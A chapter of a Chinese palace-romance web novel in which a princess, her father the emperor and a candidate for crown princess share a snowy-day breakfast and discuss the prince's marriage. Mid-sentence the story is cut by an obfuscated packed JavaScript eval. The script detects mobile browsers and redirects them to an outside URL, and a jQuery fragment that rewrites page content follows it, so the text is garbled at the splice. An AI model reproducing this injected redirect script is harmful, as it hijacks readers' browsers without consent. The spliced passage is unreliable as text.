岁末的第一场冬雪,趁着夜阑人静,毫无征兆地飘了下来。
直至翌日,雪落仍未有停歇之势,反倒愈加大了。
鹅毛一般大的雪花顺着寒风,被吹落在宫殿檐瓦上。
晶莹雪片聚少成多,很快便将瓦片的墨色遮蔽得一点儿都瞧不见。
整个皇宫如同覆上了一层厚实的白绒,只是觉不出半点温暖,反倒寒浸浸的,甚是冻人。
裴定柔才睡醒,眼前尚不清明。
迷迷糊糊间,听到闲云散雪正议论,这才知道下雪了。
她惊喜地下了榻,才披件薄绒衣,便去推妆台前的那扇窗。
“好大的雪!”
窗中间只略露出一条缝隙,便有寒风呼呼顶进来,裹挟大片大片的雪花,冷得裴定柔打了个寒噤。
原本在锦被中暖了一夜,此刻身躯的热度竟被轻易剥夺了几分。
散雪连忙将窗子合上,将自家公主按到妆台前。
“公主还穿着寝衣呢,仔细冷风扑了身子难受!”
裴定柔这才乖乖坐在镜前,任由她们给自己着服上妆。
闲云往她掌中塞了个手炉,双手被热乎乎地捂着,很是舒服。
“今日公主可莫要出门了,雪天路滑得很呢。”
裴定柔怕冷,却很喜欢雪景,听她这么说,自是不肯依的。
“我穿双粗纹底的长靴就不怕了。”
散雪心知拗不过,便特地从柜中取了一件御寒的襦袄。
裴定柔才换好,便听见有人扣门。
“谁呀?”
待到闲云把门打开一看,原来是姜花宜身旁的素荷。
“这样清早,可是有事?”
素荷将那件绒氅交给她:“我们娘娘吩咐,叫我来还氅衣给公主。”
“娘娘还说,那日多谢公主关怀。”
那黑绒氅叠得齐整,内里绒毛油光水滑,是好生打理过的模样。
裴定柔注意力却不在衣服上,只问素荷:“你家娘娘身子好些了没?”
那日见姜花宜在冷风口站着,脸色很是不好,过了这些日子,不晓得是否好转。
素荷如实回答道:“娘娘心情不佳,饮食不调,又逢这样寒冷的季节,虽然吃了几副药,但咳嗽仍不见好。”
裴定柔一听,心里便愈发不舒服。
“那你要好生照顾,天寒地冻,莫要再让她受凉了。”
素荷连连称是。
待到人离去,落柏宫正要摆早膳,却又见王真来了。
“正辰宫已备好菜肴,圣人请公主前去一道用膳呢。”
裴定柔有些意外,问道:“阿耶怎么突然想同我一起吃早饭?”
自从裴叡因痛痹禁鲜食后,早膳一向吃得简单,菜式上不过是汤饼、粥、馎饦或其他面食一类的,容易饱腹且不用花很长时间便能下腹的吃食。
这样吃完了好料理朝务。因此,正辰殿早上很少正正经经地摆上一桌菜馔。
即便阿耶想同自己一道吃,也多半是在午膳或晚膳。
裴定柔询问:“可是今日有甚事?”
王真笑道:“是有客人来,公主去了就知道了,奴这还要去通知韩将军呢。”
说罢,还不忘叮嘱一旁的两个侍女:“外头天寒地冻的,记得为公主多穿件厚实的绒氅。”
二人齐声道:“是。”
裴定柔不明所以,仍旧穿戴齐整,换上粗纹底的长靴便出了门。
外头冰雪世界一般,肉眼可见处尽是白茫茫的。
好在宫道有人清扫,执帚将积雪往两侧推开,她穿的靴子又是粗纹底,行走间很是稳当,倒也不甚打滑。
一路到了正辰宫,还未进殿门口,便听得阵阵欢笑声。
“怪不得你阿翁时常同朕提起他的宝贝孙女。如今一见,当真是生了张能说会道、逗人喜欢的巧嘴。”
裴定柔这才发现,那日消寒宴打过照面的姑娘,正坐在东首座中,言笑晏晏。
同坐殿内的,除了皇帝裴叡,还有他的阿兄裴朝和韩赴。
“年年来啦。”
裴定柔任由人解下身上斗篷,搓了搓冻红的双手,脚碎步跺了两下,将靴面的积雪跺了下来,才同父亲打招呼:“阿耶。”
人齐了,裴叡连忙叫王真去安排传膳。
赵玉盈见她入座,笑着颔首道:“公主。”
裴定柔亦回应以微笑。
原来阿耶今日特地叫她来,是因着赵姑娘。
早膳很快被端了上来,品类异常丰富,似乎生怕怠慢客人一般。
中间的暖锅咕咚咕咚地冒着热气,里头盛的菌菇鲜汤气味甚是诱人。
只是阿兄好像兴致缺缺,进得并不香。
裴定柔不免想起前事。
那场消寒宴,原就是裴叡为替儿子遴选良伴而特地布置的。
宴上官眷女子众多,大抵这位赵姑娘,便是阿耶心中合适的太子妃人选。
因此随便借了个由头,邀赵玉盈入宫来,方便她同阿兄熟悉认识。
可是这样一来……姜花宜想必更加难过。
她还病着呢。
这位赵姑娘,举止热情大方,善解人意。若是同她做朋友,想必很谈得来,可若是……
况且,阿耶还没问过她,是否对阿兄有意,总不能按着脑袋强迫人家接受吧。
韩赴见裴定柔少有的敛了性子,不大说话,抿了抿唇盯着暖锅在发呆,他亦未曾多言。
一顿饭尽是裴叡同赵玉盈两人畅谈,即便问到裴朝,他也只不咸不淡地应和几句,气氛不免有些尴尬。
“年年恰巧没个伴,平日无聊得紧,不如请赵宬大人的孙女留在宫中住些时日?”
裴叡望着女儿,提议道:“你不是常念叨着没人同你说话凑趣吗?你们年龄相仿,只怕能聊得来。”
裴定柔蹙眉瞧着,阿耶这是下定了决心,要为阿兄同赵姑娘牵线,不过借了自己来当个幌子。
她顿了几息,才道:“这事儿还是先问问赵姑娘吧。”
出人意料地是,那赵玉盈却开口:“多谢圣人好意,只是阿翁慈爱关怀,定不愿我离开家的。”
她摆出祖父赵宬作挡箭牌,却是要婉言拒绝裴叡的提议。
说罢,赵玉盈补了一句:“若是公主想个人说说话,臣女可以随时入宫,一道作伴的。”
言下之意,她只不愿意留宿,但若裴定柔相邀,也是会前来的。
既未完全拒绝裴叡,拂了圣人金面,又遂了自己心愿。
裴叡自然满口答应:“那可要常来。”
毕竟此番是要她同儿子多相与接触,倒无需急迫,硬留人家在宫中长住。
裴定柔看了看裴朝,却见兄长端坐着,神色始终冷淡平静,口中未发一言。
她便心知阿兄并
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057224|171179||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不接纳这份亲事。
一顿早膳吃得有些尴尬,裴叡觉出来,便暂且吩咐女儿带着人家在宫苑里随意转转。
支开了人,他又同儿子恳谈起来。
“朝儿考虑得如何了?”
裴朝仍旧沉默不语,显然是没有考虑好。
虽然他未曾再出言拒绝,但沉默的态度已然将心思明白告知给父亲。
那就是他依旧抵触父亲的安排。
可这事原就没有拒绝的余地,裴朝在其中唯一有选择权利的,不过是择选哪一家的姑娘。
不是方才那位赵姑娘,也会是李姑娘、郑姑娘或崔姑娘中的一个。
不论选哪位,终究是要迎个太子妃入东宫,他身边也一定会有一位妻子。
而那人,永远都不会是姜花宜。
“父亲瞧着,赵宬的孙女最是合适。”
赵玉盈小小年纪,容貌生得花一般俏丽,性子虽热情外扬,却不莽撞,行事颇有主意,举止张弛有度,待人接物甚是妥帖。
最重要的是,身后有家族倚仗。
身份、家世、性子和行事之风,同裴朝这个太子来说,简直是互为补益。
各方各面当真是没得挑的合适。
裴朝叹了口气,缓声道:“擢选太子妃乃国之大事,干系东晟未来,儿子还未思忖清楚。”
“罢了。”
裴叡亦叹了口气道:“再给你一月时间,太子妃须得定下了。”
他甚至搬出了当年父母的劝告之语,教导裴朝:“阿耶年事已高,东晟江山迟早要托付给你。多一份倚仗,将来权柄交移,父亲便少一分担忧。”
裴叡改了称谓,以皇帝的身份,叮嘱太子:“务必要有结果,否则朕会代你做主。”
闻言,裴朝蹙眉,却只得应下。
冬雪飘飘,两个小姑娘在宫道上并肩行着。
裴定柔心中别扭。
好好的,父亲非要让她拉着人家出来转。
今日雪下得这样大,哪有什么景可观赏。
她想说些什么来打破僵局,却听身旁人开了口:“公主有心事?”
裴定柔情绪在面上明晃晃的摆着,不必细看细想便知她不高兴。
“没有没有,只是雪下得太大了,我不知道该引你去哪里。”
赵玉盈哈哈笑了一声:“我倒觉得雪景处处都美,不必费心寻找。”
二人又沉默片刻,她轻声询问。
“公主是在担心殿下嫁娶之事吗?”
裴定柔怔住。
她未曾想过,赵玉盈会如此直接道明。
“我进宫不过寥寥几次,对宫中知之甚少,只是偶尔听阿翁提过一些。”
赵玉盈一语点破:“我知道此番圣人传召,又有意留我在宫中小住,是为了挑选太子妃。”
且看眼前情形,太子妃的人选,极大程度上已经定了自己。
裴定柔讶异:“你都知道?!”
她犹豫几息,终是忍不住追问:“那你是如何想的?”
赵玉盈眸光清澈,朝她道:“众人眼中,太子妃位置尊贵,入主东宫,将来还要做皇后的。”
“可我并不这么认为。”
裴定柔停了步子,认真听她说。
“我自幼受祖父庇佑宠爱,最不喜被拘束。与其披金戴玉坐宝座,一生被缚在宫中,倒不如个人自在,想去哪儿便能去哪儿。”